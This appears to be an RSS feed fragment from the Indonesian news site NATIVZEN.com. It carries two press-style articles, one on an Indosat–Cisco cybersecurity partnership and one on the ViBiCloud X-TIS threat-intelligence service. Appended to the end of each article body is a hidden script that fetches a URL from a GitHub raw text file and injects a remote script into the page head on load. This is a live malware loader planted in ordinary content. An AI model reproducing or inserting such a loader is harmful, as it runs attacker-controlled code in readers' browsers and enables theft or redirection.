<p><strong>NATIVZEN.com</strong> &#8211; Indosat dan Cisco telah menandatangani Nota Kesepahaman (MoU) kemitraan strategis. Tujuan MoU ini adalah untuk memperkenalkan layanan security edge terbaru yang menawarkan peningkatan kontrol keamanan dan pencegahan proaktif terhadap ancaman siber. </p>



<p>Melalui kolaborasi ini, Indosat dan Cisco berupaya memberikan solusi keamanan siber terdepan bagi pelaku bisnis di Indonesia, terutama usaha kecil dan menengah (UKM), guna meningkatkan ketahanan digital dan postur keamanan mereka. </p>



<p>MoU tersebut ditandatangani oleh Vikram Sinha, President Director and Chief Executive Officer Indosat Ooredoo Hutchison, dan Dave West, President, Asia-Pacific, Japan, and Greater China at Cisco pada gelaran Mobile World Congress (MWC) Barcelona 2024. </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="768" src="https://nativzen.com/wp-content/uploads/2024/02/IOH-x-CISCO_2-1024x768.jpg" alt="" class="wp-image-4508" srcset="https://nativzen.com/wp-content/uploads/2024/02/IOH-x-CISCO_2-1024x768.jpg 1024w, https://nativzen.com/wp-content/uploads/2024/02/IOH-x-CISCO_2-300x225.jpg 300w, https://nativzen.com/wp-content/uploads/2024/02/IOH-x-CISCO_2-768x576.jpg 768w, https://nativzen.com/wp-content/uploads/2024/02/IOH-x-CISCO_2-1536x1152.jpg 1536w, https://nativzen.com/wp-content/uploads/2024/02/IOH-x-CISCO_2-370x278.jpg 370w, https://nativzen.com/wp-content/uploads/2024/02/IOH-x-CISCO_2-270x203.jpg 270w, https://nativzen.com/wp-content/uploads/2024/02/IOH-x-CISCO_2-570x428.jpg 570w, https://nativzen.com/wp-content/uploads/2024/02/IOH-x-CISCO_2-740x555.jpg 740w, https://nativzen.com/wp-content/uploads/2024/02/IOH-x-CISCO_2-80x60.jpg 80w, https://nativzen.com/wp-content/uploads/2024/02/IOH-x-CISCO_2.jpg 1676w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kolaborasi ini memberikan kesempatan bagi Indosat, melalui anak perusahaannya, PT Aplikanusa Lintasarta (Lintasarta), untuk memanfaatkan solusi keamanan siber dari Cisco di Indonesia. Solusi tersebut meliputi Extended Threat Detection and Response (XDR), Security Services Edge (SSE), Email Security, dan Multifactor Authentication.</p>



<p>&#8220;Kolaborasi dengan Cisco tidak hanya meningkatkan kemampuan IOH Group dalam mengantisipasi insiden keamanan, tetapi juga sejalan dengan tujuan kami untuk menghubungkan dan memberdayakan masyarakat Indonesia secara digital,&#8221; ucap Vikram Sinha, President Director and Chief Executive Officer Indosat Ooredoo Hutchison.</p>



<p>Sementara itu, Bayu Hanantasena, President Director &amp; CEO Lintasarta menyambut positif kolaborasi ini dan menyatakan kebanggaannya dapat menjadi bagian dari inisiatif strategis ini. Harapannya kerjasama ini akan memberikan nilai tambah bagi Lintasarta di pasar keamanan siber di Tanah Air.</p>



<p>Di tengah minat yang meningkat dari pelaku bisnis di seluruh dunia terhadap XDR, termasuk Indonesia, solusi keamanan siber ini menawarkan deteksi ancaman, investigasi, dan respons yang komprehensif di berbagai lapisan keamanan. </p>



<p>XDR mengintegrasikan berbagai produk keamanan dan sumber data untuk memberikan penggunanya pandangan yang lebih kohesif dan holistik mengenai postur keamanan mereka. Solusi tersebut memungkinkan pengguna melindungi bisnisnya dari ancaman siber secara lebih efektif dengan menghilangkan silo.</p>



<p>Sementara itu, SSE mengintegrasikan beberapa fungsi keamanan menjadi layanan cloud untuk melindungi pengguna dan infrastruktur dari ancaman siber. Solusi yang berdasarkan prinsip zero trust menawarkan pengalaman pengguna yang aman dan perlindungan akses dari perangkat apa pun ke mana pun. </p>



<p>Hal ini membantu memastikan bahwa keamanan tidak terikat pada lokasi fisik namun didasarkan pada identitas pengguna dan akses mereka terhadap sumber daya, di mana pun mereka berada atau perangkat apa yang mereka gunakan. Ini menjadi sangat penting dalam lingkungan bisnis modern.</p>



<p>&#8220;Pelaku bisnis di Indonesia saat ini beroperasi dalam model hybrid yang dipicu oleh pandemi. Kondisi ini meningkatkan risiko keamanan siber bagi perusahaan,&#8221; ucap Dave West, President, Asia-Pacific, Japan, and Greater China at Cisco.</p>



<p>Ditambahkan oleh West bahwa perusahaan harus memastikan keamanan semua orang setiap saat, tanpa dapat memprediksi dari mana dan kapan saja mereka akan login. Karena itu, Cisco berkomitmen untuk memberikan solusi terbaik yang dapat membantu mengatasi risiko keamanan siber.</p>



<p>Kolaborasi ini diharapkan dapat memperkuat kemitraan jangka panjang antara Indosat dan Cisco, mencerminkan nilai yang dibangun dari sisi bisnis dan juga kontribusi terhadap masyarakat Indonesia. Bersama-sama, kedua pihak akan memberikan solusi yang sederhana, aman, dan terukur.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ViBiCloud X-TIS Lindungi Bisnis dari Ancaman Siber Pakai AI</title>
		<link>https://nativzen.com/2023/11/22/vibicloud-x-tis-lindungi-bisnis-dari-ancaman-siber-pakai-ai/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 22 Nov 2023 10:12:03 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[ancaman siber]]></category>
		<category><![CDATA[cyber security]]></category>
		<category><![CDATA[keamanan data]]></category>
		<category><![CDATA[serangan siber]]></category>
		<category><![CDATA[vibicloud]]></category>
		<category><![CDATA[vibicloud x-tis]]></category>
		<guid isPermaLink="false">http://nativzen.com/?p=1088</guid>

					<description><![CDATA[Kerjasama ViBiCloud, CYFIRMA, dan NEXTGEN Indonesia melahirkan ViBiCloud X-TIS. Solusi untuk melindungi bisnis dari ancaman siber.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Sebagai respons proaktif terhadap meningkatnya risiko digital, ViBiCloud, CYFIRMA, dan NEXTGEN Indonesia berkolaborasi dengan menandatangi satu kesepahaman untuk membentuk kerja sama guna memperkuat keamanan siber di Indonesia.</p>



<p>Penandatanganan kerja sama yang dilakukan di Habitate Jakarta, (22/11) ini juga diharapkan mampu untuk menciptakan ekosistem pertahanan siber yang tangguh, sebagai langkah krusial menuju kesuksesan dalam menghadapi ancaman siber yang selalu berkembang.</p>



<p>Oleh karena itu, hasil dari kerja sama ini memunculkan satu solusi yang bernama ViBiCloud X-TIS (External Threat Intelligence Service) dan telah didukung teknologi AI alias kecerdasan buatan, serta dikelola oleh tim yang terbilang ahli di dalam bidang cybercrime.</p>



<p>Solusi ini tak hanya fokus untuk memperkuat fondasi keamanan siber bagi perusahaan tanpa memandang skala atau industri, melainkan juga menghadirkan sebuah langkah proaktif untuk memastikan keamanan siber yang kokoh dan tangguh di seluruh sektor bisnis.</p>



<p>Seperti dijelaskan oleh Ramon Hadypratomo, Co-Founder &amp; COO ViBiCloud bahwa ada rasa tanggung jawab yang memotivasi untuk terus membantu bisnis di Indonesia, terutama dalam mengamankan seluruh aset yang dimiliki dari serangan siber. </p>



<p>&#8220;Saya sangat yakin bahwa kerjasama antara ViBiCloud, CYFIRMA, dan NEXTGEN Indonesia adalah salah satu strategi terbaik untuk memberikan layanan berkualitas bagi klien-klien kami. Kami menyediakan solusi keamanan siber end-to-end,&#8221; ujar Ramon.</p>



<p>Sementara itu, Kumar Ritesh, Founder &amp; CEO CYFIRMA mengungkapkan kegembiraannya terkait kerja sama strategis dengan ViBiCloud &amp; NEXTGEN Indonesia. Ia mengatakan bahwa misi utamanya adalah untuk melindungi bisnis dari ancaman siber yang terus berkembang.</p>



<p>&#8220;CYFIRMA selalu memberikan wawasan tentang potensial serangan, kerentanan, pelanggaran data, dan aset yang berisiko dieksploitasi oleh kelompok peretas. Harapannya, kerja sama bisa meningkatkan visibilitas dan mengurangi risiko ancaman,&#8221; ungkap Ritesh.</p>



<p>Hal senada juga diamini oleh Sanny Hadinata, Managing Director NEXTGEN Indonesia. Ia menjelaskan kesinambungan dalam cybersecurity dan kerja sama ini juga memastikan bahwa klien yang menggunakan solusi ini memiliki akses keamanan siber yang tepat.</p>



<p>&#8220;Kami tentunya sangat senang menjadi distributor resmi untuk CYFIRMA, serta menjalin partnership dengan ViBiCloud. Kami sangat menantikan untuk bekerjasama dan membawa perubahan pada industri ini di bidang keamanan siber,&#8221; tutup Sanny.</p>



<p>ViBiCloud X-TIS (External Threat Intelligence Service) sendiri merupakan sebuah inovasi revolusioner yang memberikan panduan ahli kepada setiap bisnis di Indonesia yang menginginkan pemeriksaan kesehatan keamanan siber perusahaannya.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
